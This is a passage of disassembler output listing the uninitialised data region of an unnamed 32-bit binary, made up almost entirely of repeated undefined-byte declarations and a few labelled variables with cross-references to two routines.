? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807B82C dd ? ; DATA XREF: sub_805A11C+42o ; sub_805A11C+D5r ... unk_807B830 db ? ; ; DATA XREF: sub_805A11C+47o db ? ; db ? ; db ? ; dword_807B834 dd ? ; DATA XREF: sub_805A11C+52r ; sub_805AF5C+51w db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db 